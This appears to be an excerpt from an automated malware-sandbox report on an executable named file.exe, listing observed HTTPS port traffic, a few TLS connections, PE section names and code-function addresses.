Source: unknown	Network traffic detected: HTTP traffic on port 62949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62917
Source: unknown	Network traffic detected: HTTP traffic on port 63017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62918
Source: unknown	Network traffic detected: HTTP traffic on port 62846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62919
Source: unknown	Network traffic detected: HTTP traffic on port 63052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62916
Source: unknown	Network traffic detected: HTTP traffic on port 62973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62922
Source: unknown	Network traffic detected: HTTP traffic on port 62984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62923
Source: unknown	Network traffic detected: HTTP traffic on port 62915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62926
Source: unknown	Network traffic detected: HTTP traffic on port 63086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62927
Source: unknown	Network traffic detected: HTTP traffic on port 62896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62939
Source: unknown	Network traffic detected: HTTP traffic on port 62905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62938
Source: unknown	Network traffic detected: HTTP traffic on port 62895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 62927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 63074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62942
Source: unknown	Network traffic detected: HTTP traffic on port 62961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62946
Source: unknown	Network traffic detected: HTTP traffic on port 62938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62947
Source: unknown	Network traffic detected: HTTP traffic on port 63063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62949
Source: unknown	Network traffic detected: HTTP traffic on port 63029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 62873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62941
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 62906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62879
Source: unknown	Network traffic detected: HTTP traffic on port 62964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62990
Source: unknown	Network traffic detected: HTTP traffic on port 62870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62992
Source: unknown	Network traffic detected: HTTP traffic on port 63043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62872
Source: unknown	Network traffic detected: HTTP traffic on port 62893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62873
Source: unknown	Network traffic detected: HTTP traffic on port 62987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62875
Source: unknown	Network traffic detected: HTTP traffic on port 63020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62889
Source: unknown	Network traffic detected: HTTP traffic on port 62908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62880
Source: unknown	Network traffic detected: HTTP traffic on port 62929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62883
Source: unknown	Network traffic detected: HTTP traffic on port 62837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62885
Source: unknown	Network traffic detected: HTTP traffic on port 62858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62886
Source: unknown	Network traffic detected: HTTP traffic on port 62953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62899
Source: unknown	Network traffic detected: HTTP traffic on port 63009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62897
Source: unknown	Network traffic detected: HTTP traffic on port 62975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63010
Source: unknown	Network traffic detected: HTTP traffic on port 63033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63000
Source: unknown	Network traffic detected: HTTP traffic on port 62968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63006
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63020
Source: unknown	Network traffic detected: HTTP traffic on port 63068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63019
Source: unknown	Network traffic detected: HTTP traffic on port 62911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63012
Source: unknown	Network traffic detected: HTTP traffic on port 62980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63011
Source: unknown	Network traffic detected: HTTP traffic on port 63079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63013
Source: unknown	Network traffic detected: HTTP traffic on port 63044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63017
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63031
Source: unknown	Network traffic detected: HTTP traffic on port 63067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63027
Source: unknown	Network traffic detected: HTTP traffic on port 63022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63028
Source: unknown	Network traffic detected: HTTP traffic on port 62841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63041
Source: unknown	Network traffic detected: HTTP traffic on port 63045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63040
Source: unknown	Network traffic detected: HTTP traffic on port 62923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63042
Source: unknown	Network traffic detected: HTTP traffic on port 62979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63039
Source: unknown	Network traffic detected: HTTP traffic on port 62890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63093
Source: unknown	Network traffic detected: HTTP traffic on port 63094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63096
Source: unknown	Network traffic detected: HTTP traffic on port 63071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63097
Source: unknown	Network traffic detected: HTTP traffic on port 63013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63090
Source: unknown	Network traffic detected: HTTP traffic on port 63036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63088
Source: unknown	Network traffic detected: HTTP traffic on port 62897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62909
Source: unknown	Network traffic detected: HTTP traffic on port 63014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62900
Source: unknown	Network traffic detected: HTTP traffic on port 62959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62905
Source: unknown	Network traffic detected: HTTP traffic on port 62982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63050
Source: unknown	Network traffic detected: HTTP traffic on port 62903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63052
Source: unknown	Network traffic detected: HTTP traffic on port 62970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63053
Source: unknown	Network traffic detected: HTTP traffic on port 62993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63048
Source: unknown	Network traffic detected: HTTP traffic on port 63003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63061
Source: unknown	Network traffic detected: HTTP traffic on port 62843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63060

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:62827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:62833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:62834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:63063 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7662C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C7662C0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAC60	0_2_6C5EAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAC30	0_2_6C6BAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6C00	0_2_6C6A6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DECC0	0_2_6C5DECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ECD0	0_2_6C63ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AED70	0_2_6C6AED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AD50	0_2_6C70AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768D20	0_2_6C768D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76CDC0	0_2_6C76CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4DB0	0_2_6C5E4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676D90	0_2_6C676D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67EE70	0_2_6C67EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0E20	0_2_6C6C0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAEC0	0_2_6C5EAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680EC0	0_2_6C680EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E90	0_2_6C666E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2F70	0_2_6C6A2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EF40	0_2_6C64EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6F10	0_2_6C5E6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720F20	0_2_6C720F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BEFF0	0_2_6C6BEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0FE0	0_2_6C5E0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728FB0	0_2_6C728FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EEFB0	0_2_6C5EEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4840	0_2_6C6B4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630820	0_2_6C630820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A820	0_2_6C66A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E68E0	0_2_6C6E68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC8C0	0_2_6C6CC8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618960	0_2_6C618960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636900	0_2_6C636900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC9E0	0_2_6C6FC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6149F0	0_2_6C6149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709A0	0_2_6C6709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A09B0	0_2_6C6A09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65CA70	0_2_6C65CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698A30	0_2_6C698A30
